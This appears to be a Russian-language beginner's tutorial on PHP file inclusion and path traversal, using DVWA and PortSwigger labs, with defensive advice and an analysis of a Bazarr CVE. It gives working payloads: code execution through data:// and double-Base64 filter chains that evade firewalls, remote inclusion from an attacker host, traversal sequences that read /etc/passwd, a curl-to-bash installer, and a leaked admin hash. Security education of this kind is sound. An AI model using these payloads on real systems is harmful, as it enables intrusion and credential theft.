Ба­ги, свя­зан­ные с вклю­чени­ем фай­лов (File Inclusion) и обхо­дом путей (Path Traversal), — одни из самых кри­тичес­ких в веб‑безопас­ности, пос­коль­ку поз­воля­ют читать и выпол­нять фай­лы. В этой статье мы с самого начала рас­смот­рим, как они работа­ют, и научим­ся их экс­плу­ати­ровать в рам­ках лабора­тор­ных работ, а потом пос­мотрим на недав­ний при­мер — уже совер­шенно реаль­ный.

info

Эта статья ори­енти­рова­на в пер­вую оче­редь на нович­ков и рас­ска­зыва­ет о двух прос­тей­ших уяз­вимос­тях. Если этот уро­вень для тебя слиш­ком лег­кий, не спе­ши ухо­дить — про­лис­тай до раз­бора бага в Bazarr в кон­це статьи.

Включение файлов (File Inclusion)

Вклю­чение фай­лов (File Inclusion) — это тип уяз­вимос­ти, который воз­ника­ет, ког­да веб‑при­ложе­ние поз­воля­ет поль­зовате­лю заг­ружать и исполнять фай­лы. Такие уяз­вимос­ти осо­бен­но опас­ны, так как дают зло­умыш­ленни­ку воз­можность выпол­нить про­изволь­ный код на сер­вере.

Под вклю­чени­ем фай­лов обыч­но под­разуме­вают под­клю­чение внеш­них биб­лиотек или модулей (на англий­ском эта дирек­тива обыч­но называ­ется include — «вклю­чать»). В раз­ных язы­ках прог­рамми­рова­ния этот механизм реали­зован нем­ного по‑раз­ному. В этой статье мы будем рас­смат­ривать в основном при­меры на PHP, поэто­му давай под­робно раз­берем реали­зацию в этом язы­ке.

Вот что дела­ет интер­пре­татор PHP, ког­да находит дирек­тиву include:

Типы включения файлов

Ло­каль­ное вклю­чение фай­лов (Local File Inclusion, LFI) про­исхо­дит, ког­да при­ложе­ние заг­ружа­ет фай­лы с сер­вера, при этом в про­цес­се выбора фай­ла исполь­зуют­ся дан­ные, которые ввел поль­зователь.

Эту уяз­вимость мож­но исполь­зовать для дос­тупа к кон­фиден­циаль­ной информа­ции — нап­ример, мож­но зап­росить файл с нас­трой­ками или с пароля­ми. А еще таким обра­зом мож­но запус­тить раз­мещен­ный на сер­вере скрипт.

Да­вай раз­берем прос­тей­ший при­мер:

<?php
$file = $_GET['file'];
include($file);
?>

Здесь зло­умыш­ленник может передать в парамет­ре file путь к любому фай­лу на сер­вере, нап­ример:

http://xakep.loc/index.php?file=/etc/passwd

Это при­ведет к вклю­чению содер­жимого фай­ла /etc/passwd в ответ, который отоб­разит­ся в бра­узе­ре.

Даль­ше для демонс­тра­ции уяз­вимос­ти я буду исполь­зовать DVWA — «чер­тов­ски уяз­вимое веб‑при­ложе­ние». Это написан­ный на PHP тре­ниро­воч­ный стенд с раз­ными видами уяз­вимос­тей. Ска­чива­ем его:

sudo bash -c "$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)"

DVWA Level Low

Спер­ва нам нуж­но выб­рать уро­вень, для это­го заходим в DVWA Security, выбира­ем там Low и нажима­ем Submit. Затем нажима­ем File Inclusion.

На­вер­ху перечис­лены фай­лы: file1.php, file2.php, file3.php. Если клик­нуть на какой‑то из них, он откро­ется, и адрес стра­ницы будет таким: {url}/?page=file1.php.

Ес­ли нажать на кноп­ку View Source вни­зу спра­ва, то откро­ется исходный код при­ложе­ния.

По­чему здесь нет include? Исходник, который мы видим, при­нима­ет имя фай­ла через URL, и в коде при­ложе­ния оно добав­ляет­ся как параметр для include, выг­лядит это так:

file: vulnerabilities/fi/index.php:
if( isset( $file ) )
include( $file );
else {
header( 'Location:?page=include.php' );
exit;
}

Уяз­вимость здесь в том, что в качес­тве име­ни фай­ла без вся­кой про­вер­ки берет­ся передан­ный бра­узе­ром параметр. Мы можем впи­сать в page наз­вание дру­гого фай­ла на сер­вере и таким обра­зом пос­мотреть его содер­жимое.

http://xakep.loc/DVWA/vulnerabilities/fi/?page=/etc/passwd

Прав­да, в реаль­ной жиз­ни дело поч­ти никог­да не в чте­нии /etc/passwd — фай­ла со спис­ком поль­зовате­лей ОС на веб‑сер­вере. Чаще все­го раз­вити­ем ата­ки ста­новит­ся либо RCE (уда­лен­ное выпол­нение кода на сер­вере), либо получе­ние дру­гих чувс­тви­тель­ных дан­ных, хра­нящих­ся на сер­вере. Это могут быть бэкапы, кон­фиги и про­чее. Нап­ример, в DVWA есть файл database/sqli.db.dist с дан­ными поль­зовате­лей.

Как узнать, где какие файлы? Как получить RCE?

Боль­шую помощь нам ока­жут филь­тры PHP. В этом язы­ке так называ­ются обра­бот­чики потоков дан­ных. Они поз­воля­ют читать, записы­вать и пре­обра­зовы­вать информа­цию.

Обер­тки потоков (wrappers) — это набор про­токо­лов, которые PHP исполь­зует для обра­бот­ки дан­ных из раз­ных источни­ков и хра­нилищ. Эти обер­тки опре­деля­ют, как дан­ные будут дос­тупны и как с ними вза­имо­дей­ство­вать. При­меры обер­ток:

По­пуляр­ные филь­тры:

Пос­ле филь­тра дол­жен быть ука­зан resource — источник, к которо­му будет при­менять­ся дей­ствие.

Вот для при­мера самый прос­той филь­тр:

http://xakep.loc/DVWA/vulnerabilities/fi/?page=file:///etc/passwd

Здесь в парамет­ре page ука­зано file:///etc/passwd, что зас­тавля­ет сер­вер обра­баты­вать зна­чение как абсо­лют­ный путь к фай­лу на локаль­ной фай­ловой сис­теме.

Пе­рей­дем к более инте­рес­ному филь­тру — data://. Внут­ри него мы можем написать код, который будет исполнен. Давай напишем однос­троч­ник, показы­вающий вывод фун­кции phpinfo. Это поможет узнать нас­трой­ки интер­пре­тато­ра PHP, который работа­ет на сер­вере.

Мо­жем отпра­вить вот такой зап­рос:

http://xakep.loc/DVWA/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo(); ?>

В ответ мы дол­жны получить резуль­тат выпол­нения кода на PHP — как на скрин­шоте.

Че­рез эту уяз­вимость мож­но лег­ко выпол­нять и дру­гие коман­ды на сер­вере. Нап­ример:

http://xakep.loc/DVWA/vulnerabilities/fi/?page=data:text/plain,%3C?php%20system(%27id%27);%20?%3E

Мы выпол­няем коман­ду <?php system('id'); ?>, которая выведет нам информа­цию о поль­зовате­ле.

info

Здесь исполь­зует­ся URL-кодиро­вание: все спе­циаль­ные сим­волы записа­ны как коды пос­ле зна­ка про­цен­та. В нашем при­мере %20 — это про­бел, %27 — оди­нар­ная кавыч­ка, а %3C и %3E — откры­вающая и зак­рыва­ющая тре­уголь­ные скоб­ки.

Ты спро­сишь: если все так прек­расно работа­ет, зачем нам еще какой‑то php://filter? Есть две основные при­чины его исполь­зовать:

  1. Схе­ма data://: может быть отклю­чена на сер­вере.
  2. Ес­ли на сер­вере исполь­зует­ся веб‑фай­рвол, то он заб­локиру­ет наш зап­рос, потому что стро­ка exec/phpinfo будет у него в чер­ном спис­ке.

При­чем опас­ные стро­ки могут быть в блек­листе не толь­ко в откры­том виде, но и в закоди­рован­ном, нап­ример в Base64. В таком слу­чае мы можем схит­рить и закоди­ровать нашу наг­рузку нес­коль­ко раз под­ряд. Какой‑нибудь вари­ант да поможет обой­ти про­вер­ку.

По­луча­ется вот такая цепоч­ка.

Ис­ходная стро­ка:

<?php phpinfo(); ?>

Ко­диру­ем ее в Base64:

PD9waHAgcGhwaW5mbygpOyA/Pg==

А потом кодиру­ем в Base64 еще раз:

UEQ5d2FIQWdjR2h3YVc1bWJ5Z3BPeUEvUGc9PQ==

Вот в таком виде наг­рузка уже обхо­дит филь­тра­цию:

data://plain/text,UEQ5d2FIQWdjR2h3YVc1bWJ5Z3BPeUEvUGc9PQ==

Нам оста­лось ее дваж­ды декоди­ровать перед запус­ком. Для это­го исполь­зуем фун­кцию convert.base64-decode. Получа­ется такой пей­лоад:

php://filter/convert.base64-decode/convert.base64-decode/resource=data://plain/text,UEQ5d2FIQWdjR2h3YVc1bWJ5Z3BPeUEvUGc9PQ==

Возь­мем такой зап­рос:

http://xakep.loc/DVWA/vulnerabilities/fi/?page=php://filter/convert.base64-decode/convert.base64-decode/resource=data://plain/text,UEQ5d2FIQWdjR2h3YVc1bWJ5Z3BPeUEvUGc9PQ==

От­пра­вив его, видим резуль­тат выпол­нения нашей коман­ды.

Глав­ное здесь — понимать разоб­ранные нами воз­можнос­ти самой фун­кции include в PHP. Если же ты можешь заг­рузить PHP-файл на сер­вер, то филь­тры уже не понадо­бят­ся — мож­но будет нап­рямую ука­зать этот файл и выпол­нить его.

Удаленное включение файлов (Remote File Inclusion, RFI)

Уда­лен­ное вклю­чение фай­лов отли­чает­ся от LFI тем, что поз­воля­ет заг­ружать фай­лы с уда­лен­ных сер­веров. Это осо­бен­но опас­но, так как зло­умыш­ленник может заг­рузить и исполнить про­изволь­ный код, находя­щий­ся на дру­гом сер­вере.

Сно­ва рас­смот­рим прос­тей­ший код на PHP, где про­исхо­дит вклю­чение фай­ла в код.

<?php
$file = $_GET['file'];
include($file);
?>

Пред­положим, ссыл­ка на файл переда­ется через URL, тог­да зло­умыш­ленник может менять этот URL, как ему взду­мает­ся. Нап­ример, передать адрес, ука­зыва­ющий на под­кон­троль­ный ему ресурс:

http://xakep.loc/index.php?file=http://attacker.loc/pwn.php

В этом слу­чае будет заг­ружен и выпол­нен вре­донос­ный код с сер­вера зло­умыш­ленни­ка. Поль­зовать­ся такой уяз­вимостью куда про­ще, чем LFI.

Соз­даем файл с кодом на PHP.

$ mkdir phpc
$ cd phpc
$ echo '<?php phpinfo(); ?>' > code.php
$ python3 -m http.server 1337
Serving HTTP on 0.0.0.0 port 1337 (http://0.0.0.0:1337/) ...

От­прав­ляем зап­рос к нашему уда­лен­ному фай­лу:

http://xakep.loc/DVWA/vulnerabilities/fi/?page=http://server.loc:1337/code.php

DVWA взял наш код и вклю­чил его! Одновре­мен­но мы можем уви­деть, как на наш сер­вер при­шел зап­рос.

127.0.0.1 - - [25/Aug/2024 12:42:10] "GET /code.php HTTP/1.1" 200 -

Ес­ли RFI по какой‑то при­чине не сра­баты­вает, мож­но поп­робовать прос­той метод обхо­да: нап­ример, вмес­то http написать htTp.

Уязвимости, связанные с символом null byte (PHP 5)

До выхода PHP вер­сии 5.3.4 сим­вол null byte (%00) мож­но было исполь­зовать для обхо­да филь­тра­ции путей. Нулевой байт во мно­гих язы­ках добав­ляет­ся в конец стро­ки, что­бы при ее чте­нии из памяти прог­рамма зна­ла, где оста­новить­ся. Это поз­воляло зло­умыш­ленни­ку обры­вать стро­ку искусс­твен­но.

Раз­берем такой код:

<?php
$file = $_GET['file'] . ".php";
include($file);
?>

Здесь к прис­ланной стро­ке добав­ляет­ся рас­ширение .php. Это мешало бы нам зап­росить файл /etc/passwd, пос­коль­ку у него такого рас­ширения нет. Но если добавить в стро­ку нулевой байт, то интер­пре­татор PHP не будет читать ее даль­ше: для него стро­ка теперь закан­чива­ется там, где мы пос­тавили %00.

Для зна­комс­тва с этой уяз­вимостью я рекомен­дую лабора­тор­ную работу File path traversal, validation of file extension with null byte bypass с сай­та PortSwigger.

Во­обще, ког­да нуж­но попен­тестить какой‑то сер­вис, незави­симо от типа пен­теста (black box, white box, grey box) я горячо рекомен­дую пер­вым делом при­кинуть, какие вооб­ще воз­можны уяз­вимос­ти. Видишь зап­рос про­дук­та по ID? Воз­можно, тут есть SQLi, XSS или SSTI. Видишь параметр, который при­нима­ет фай­лы? Тог­да целим­ся в File Inclusion, Path Traversal, SQLi, XSS и RCE.

Не забыва­ем о том, что все зап­росы навер­няка логиру­ются и логи еще силь­нее рас­ширя­ют повер­хность ата­ки, так как это еще один спо­соб передать что‑то, что будет сох­ранено на сер­вере.

Итак, в лабора­тор­ной работе нам дано при­ложе­ние, где мы можем нажать на одну из фотог­рафий. Пос­ле это­го будет сде­лан зап­рос на такой адрес:

https://0ad50027046d1ebc814175a3006800c9.web-security-academy.net/image?filename=58.jpg

Здесь

Тут у тебя в голове уже дол­жны всплы­вать идеи о том, как это экс­плу­ати­ровать и какие будут пей­лоады. Нап­ример:

Впол­не воз­можно, что сер­вис ожи­дает фай­лы с рас­ширени­ем, харак­терным для кар­тинок. В таком слу­чае мож­но поп­робовать такие вари­анты:

Пос­ледний пей­лоад сра­бота­ет, и мы смо­жем уви­деть содер­жимое /etc/passwd со спис­ком поль­зовате­лей. Если ты еще не зна­ешь, что это за стран­ная пос­ледова­тель­ность из точек и сле­шей, то читай даль­ше — как раз ее мы с тобой сей­час раз­берем.

Обход путей (Path Traversal)

Об­ход путей (Path Traversal) — это уяз­вимость, которая воз­ника­ет, ког­да поль­зователь может манипу­лиро­вать путем к фай­лу и выходить за пре­делы катало­га при­ложе­ния. Это поз­воля­ет получить дос­туп к сис­темным фай­лам.

Возь­мем для при­мера прос­тей­ший код:

<?php
$filename = $_GET['filename'];
$file = fopen('/var/www/html/uploads/' . $filename, 'r');
?>

Зло­умыш­ленник может передать параметр filename=../../../../etc/passwd, что­бы получить дос­туп к фай­лу /etc/passwd. Пос­ледова­тель­ность ../ озна­чает переход на один уро­вень вверх в струк­туре катало­гов. Четыре пос­ледова­тель­ных ../ перехо­дят от /var/www/html/uploads/ к кор­ню фай­ловой сис­темы, пос­ле чего пишем обыч­ный путь к фай­лу.

В чис­том виде такая уяз­вимость встре­чает­ся все реже: в сов­ремен­ных веб‑при­ложе­ниях обыч­но все же есть защита от это­го. Но, уга­дав, как такая защита устро­ена, мы можем поп­робовать ее обой­ти.

Вот нес­коль­ко тех­ник, которые исполь­зуют­ся для борь­бы с Path Traversal, и сра­зу — идеи для про­тиво­дей­ствия им.

Да­вай пос­мотрим, как работа­ют эти наг­рузки, на при­мере еще одной лабы с PortSwigger: File path traversal, traversal sequences stripped non-recursively.

Я рекомен­дую поэк­спе­римен­тировать с ней самос­тоятель­но, но, если вдруг воз­никнут слож­ности, можешь под­смот­реть решение в тек­сте ниже.

Я буду переби­рать строч­ки из фай­ла payloads.txt со спис­ком пей­лоадов и делать для каж­дой зап­росы при помощи curl:

$ cat payloads.txt | xargs -I{} sh -c 'echo "\n{}\n" && curl "https://xakep.web-security-academy.net/image?filename={}"'

Вот как будет выг­лядеть резуль­тат:

/etc/passwd%00.jpg

"No such file"

../../../../../../etc/passwd%00.jpg

"No such file"

/etc/passwd

"No such file"

....//....//....//etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

/var/www/html/../../../etc/passwd

"No such file"

В резуль­тате пей­лоад ....//....//....//etc/passwd успешно сра­ботал.

Защита от уязвимостей

Итак, Path Traversal поз­воля­ет манипу­лиро­вать путями, что­бы получить дос­туп к фай­лам вне раз­решен­ной дирек­тории (чита­ет файл), а File Inclusion поз­воля­ет вклю­чать и выпол­нять про­изволь­ные фай­лы на сер­вере (чита­ет и выпол­няет).

Да­вай взгля­нем на проб­лему гла­зами раз­работ­чиков веб‑при­ложе­ний и раз­берем две самые рас­простра­нен­ные фор­мы защиты от этих уяз­вимос­тей.

Валидация и фильтрация пользовательских данных

Ес­ли у нас есть спи­сок раз­решен­ных фай­лов, то можем каж­дый раз при зап­росе стра­ницы про­бегать­ся по нему и про­верять, соот­ветс­тву­ет ли параметр одно­му из вари­антов.

<?php
$allowed_files = ['file1.php', 'file2.php'];
if (in_array($_GET['file'], $allowed_files)) {
include($_GET['file']);
} else {
die('Доступ запрещен');
}
?>

По сути, это прос­то белый спи­сок — край­не рас­простра­нен­ный метод защиты.

Использование функции realpath

Фун­кция realpath воз­вра­щает канони­чес­кий путь, уби­рая из него пос­ледова­тель­нос­ти ../. Это поз­воля­ет пре­дот­вра­тить обход путей:

<?php
$path = realpath('/var/www/html/uploads/' . $_GET['filename']);
if (strpos($path, '/var/www/html/uploads/') === 0) {
$file = fopen($path, 'r');
} else {
die('Недопустимый путь');
}
?>

Bazarr

От теории и прос­тей­ших при­меров перехо­дим к реаль­ной уяз­вимос­ти, в которой исполь­зуют­ся разоб­ранные нами тех­ники. Если выше ты читал о новых для себя вещах, то, воз­можно, ска­чок в слож­ности будет нем­ного слиш­ком кру­тым, к тому же код будет не на PHP, а на Python.

Тем не менее полез­но иног­да пос­мотреть, как баги, о которых мы говори­ли, выг­лядят «в при­роде» и в сов­ремен­ных усло­виях. Если будет мно­го непонят­ного — не пережи­вай, эта сек­ция для тебя опци­ональ­ная.

Неизвестный баг

Не­дав­но я решил соз­дать сер­вис для сор­тиров­ки CVE и слу­чай­но напал на уяз­вимость, которая какое‑то вре­мя оста­валась неиз­вес­тной из‑за того, что баг­хантер неп­равиль­но написал наз­вание про­дук­та. Прог­рамма пред­назна­чена для ска­чива­ния суб­титров и называ­ется Bazarr, а в базу дан­ных CVE уяз­вимость за­писа­ли, ука­зав Bazaar. Получа­ется, что это ред­чай­ший слу­чай бага нулево­го дня, для которо­го есть CVE.

Анализ без установки

Вот как выг­лядит экс­плу­ата­ция бага CVE-2024-40348 в Bazarr:

http://xakep.loc:6767/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd

При виде этой ссыл­ки у меня, естес­твен­но, воз­ник воп­рос, почему путь начина­ется имен­но с api/swaggerui/static. И тог­да я нат­кнул­ся на CVE-2023-50265. Из опи­сания выяс­няет­ся, что про­дукт был уяз­вим к Path Traversal, затем уяз­вимость по­фик­сили, но пос­ле фик­са он все рав­но остался уяз­вимым.

На­ше дело — най­ти, в чем имен­но была ошиб­ка. Для это­го обыч­но дос­таточ­но про­читать код, но мы все рав­но под­нимем стенд, что­бы сра­зу потес­тировать работу бага.

Поднимаем Bazarr

Инс­трук­ция по уста­нов­ке прог­раммы есть в вики про­екта. У меня Bazarr уста­нов­лен на сер­вере, а VSCode — на рабочем компь­юте­ре. Поэто­му нам понадо­бит­ся под­клю­чить отладчик уда­лен­но.

Ус­танав­лива­ем отладчик:

pip3 install ptvsd

От­кры­ваем /opt/bazarr/app/app.py, пос­ле импортов добав­ляем такой код:

import ptvsd
ptvsd.enable_attach(redirect_output=True)
print("Велком, плиз коннект зе отладчик")
ptvsd.wait_for_attach()

Те­перь на компь­юте­ре, где уста­нов­лен VSCode, выпол­няем такую коман­ду (192.168.0.1 — IP сер­вера, где уста­нов­лен Bazarr):

rsync -azP root@192.168.0.1:/opt/bazarr /home/debian

Ко­ман­да ска­чива­ет содер­жимое /opt/bazarr в /home/debian.

Отладка

Нам нуж­но открыть пап­ку, в которую мы все ска­чали. В VSCode жмем File → Open Folder и ука­зыва­ем /home/debian/bazarr.

Вы­бира­ем Python как дебаг­гер.

Вы­бира­ем Remote Attach.

Пи­шем IP.

Порт по дефол­ту — 5678.

В соз­давшем­ся фай­ле ищем remoteRoot и ука­зыва­ем дирек­торию bazarr на нашем сер­вере.

На­жима­ем зеленую кноп­ку «Старт» ввер­ху сле­ва.

Анализ CVE-2024-40348

У нас есть патч для уяз­вимос­ти CVE-2023-50265, так что мы зна­ем, где она в коде. Но давай пред­ста­вим, что таких дан­ных у нас нет и мы дол­жны разоб­рать­ся сами. PoC будет такой:

http://xakep.loc:6767/api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd

Са­мое прос­тое, что мы можем сде­лать, — это поис­кать api/swaggerui/static.

В ито­ге уяз­вимос­ти сами нас наш­ли через отладчик. Давай нач­нем с про­вер­ки фун­кции swaggerui_static:

@ui_bp.route('/api/swaggerui/static/<path:filename>', methods=['GET'])
def swaggerui_static(filename):
basepath = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(__file__))), 'libs', 'flask_restx',
'static')
fullpath = os.path.join(basepath, filename)
if not fullpath.startswith(basepath):
return '', 404
else:
return send_file(fullpath)

Вот что про­исхо­дит в этой фун­кции:

Раз­бира­ем даль­ше по одной стро­ке.

fullpath = os.path.join(basepath, filename):

Здесь соз­дает­ся пол­ный путь к зап­рашива­емо­му фай­лу: объ­еди­няет­ся базовый путь и передан­ное имя фай­ла filename.

if not fullpath.startswith(basepath)::

Тут прог­рамма про­веря­ет, начина­ется ли пол­ный путь fullpath с базово­го пути basepath. Это важ­но для пре­дот­вра­щения ата­ки путем выхода из катало­га (Path Traversal). Но тут воз­ника­ет проб­лема. Пред­ставь, что поль­зователь зап­росил вот такой путь:

../../../../../../../etc/passwd

Тог­да fullpath будет таким:

/opt/bazarr/libs/flask_restx/static/../../../../../../../etc/passwd

А basepath — таким:

/opt/bazarr/libs/flask_restx/static

Пос­коль­ку fullpath и так начина­ется с basepath, это даст воз­можность экс­плу­ати­ровать уяз­вимость.

return '', 404:

Ес­ли файл находит­ся за пре­дела­ми раз­решен­ной дирек­тории, фун­кция воз­вра­щает HTTP-ответ с кодом 404 (не най­дено) и пус­тым телом. Но пос­коль­ку файл и так начина­ется с /opt/bazarr..., эта часть будет прос­то про­игно­риро­вана.

else: \n return send_file(fullpath):

Фун­кция воз­вра­щает файл по пути fullpath кли­енту, исполь­зуя фун­кцию send_file из Flask.

Да­вай поп­робу­ем про­читать какой‑нибудь файл, вос­поль­зовав­шись этой уяз­вимостью. Спер­ва нам нуж­но пос­тавить точ­ку оста­нова.

Пос­ле перехо­дим в Burp Suite и отправ­ляем зап­рос по такому адре­су:

/api/swaggerui/static/../../../../../../../etc/passwd

Как видишь, fullpath начина­ется с basepath, из‑за это­го вмес­то 404 сра­ботал send_file. Нажима­ем кноп­ку «Старт» в VSCode и уби­раем точ­ку оста­нова.

Что интересного можно прочесть?

Ча­ще все­го цель — это при­ват­ный ключ SSH. Но в нашем слу­чае я бы пред­почел чек­нуть кон­фиги при­ложе­ния:

$ find . -name config*
./libs/pydantic/config.py
./libs/future/moves/configparser.py
./libs/knowit/__pycache__/config.cpython-38.pyc
./libs/knowit/config.py
./libs/guessit/test/config
./libs/guessit/config
./libs/apprise/config
./libs/test/configuration_test.py
./libs/pygments/lexers/configs.py
./libs/mako/testing/config.py
./libs/dynaconf/vendor/box/__pycache__/config_box.cpython-38.pyc
./libs/dynaconf/vendor/box/config_box.py
./libs/dynaconf/vendor/ruamel/yaml/configobjwalker.py
./libs/sqlalchemy/testing/config.py
./libs/flask/__pycache__/config.cpython-38.pyc
./libs/flask/config.py
./libs/alembic/__pycache__/config.cpython-38.pyc
./libs/alembic/config.py
./libs/trakit/__pycache__/config.cpython-38.pyc
./libs/trakit/config.py
./libs/trakit/data/config.json
./bazarr/app/__pycache__/config.cpython-38.pyc
./bazarr/app/config.py
./data/config
./data/config/config.yaml

$ cat ./data/config/config.yaml
---
addic7ed:
cookies: ''
password: ''
user_agent: ''
username: ''
vip: false
analytics:
enabled: true
anidb:
api_client: ''
api_client_ver: 1
animetosho:
anidb_api_client: ''
anidb_api_client_ver: 1
search_threshold: 6
anticaptcha:
anti_captcha_key: ''
assrt:
token: ''
auth:
apikey: 54df08bfef4e16efa74950bd8a511f15
password: 21232f297a57a5a743894a0e4a801fc3
type: form
username: admin

Сре­ди нас­тро­ек нашел­ся хеш пароля адми­на. Получа­ется, что мы через LFI получи­ли дос­туп к админке. Это и есть 0-day-уяз­вимость, о которой раз­работ­чик не зна­ет и не узна­ет, пока ему кто‑нибудь не напишет.

Фун­кция backup_download была исправ­лена в пат­че. Давай пос­мотрим, как имен­но.

@ui_bp.route('/system/backup/download/<path:filename>', methods=['GET'])
def backup_download(filename):
fullpath = os.path.normpath(os.path.join(settings.backup.folder, filename))
if not fullpath.startswith(settings.backup.folder):
return '', 404
else:
return send_file(fullpath, max_age=0, as_attachment=True)

Здесь вызыва­ется normpath — фун­кция, которая нор­мализу­ет путь. Нор­мализа­ция зна­чит, что он будет упро­щен и все избы­точ­ные, но дорогие нам хож­дения по катало­гам исчезнут.

Вот как это работа­ет:

import os
path = "/home/user/../user2/./file.txt"
normalized_path = os.path.normpath(path)
print(normalized_path)
# Вывод: /home/user2/file.txt

В этом при­мере normpath пре­обра­зует путь /home/user/../user2/./file.txt в /home/user2/file.txt. Избы­точ­ные эле­мен­ты исчезнут.

Нес­мотря на «защиту», проб­лема все еще есть, так как зло­умыш­ленник может переби­рать имя фай­ла бэкапа.

bazarr_backup_v1.4.3_2024.08.18_16.02.12.zip

Пе­реби­рать нуж­но 2024.08.18_16.02.12.

В худ­шем слу­чае понадо­бит­ся от 2 (бэкап раз в месяц) до 31 (бэкап раз в год) мил­лиона зап­росов.

Выводы

В этой статье я показал основные типы LFI и Path Traversal и их при­меры в коде на PHP. Затем мы пос­мотре­ли, как избе­гать таких уяз­вимос­тей, а в кон­це разоб­рали инте­рес­ный баг CVE-2024-40348 в реаль­ной прог­рамме на Python. Как видишь, баги иног­да сох­раня­ются даже пос­ле исправ­лений, если код не под­вер­гся тща­тель­ному тес­тирова­нию.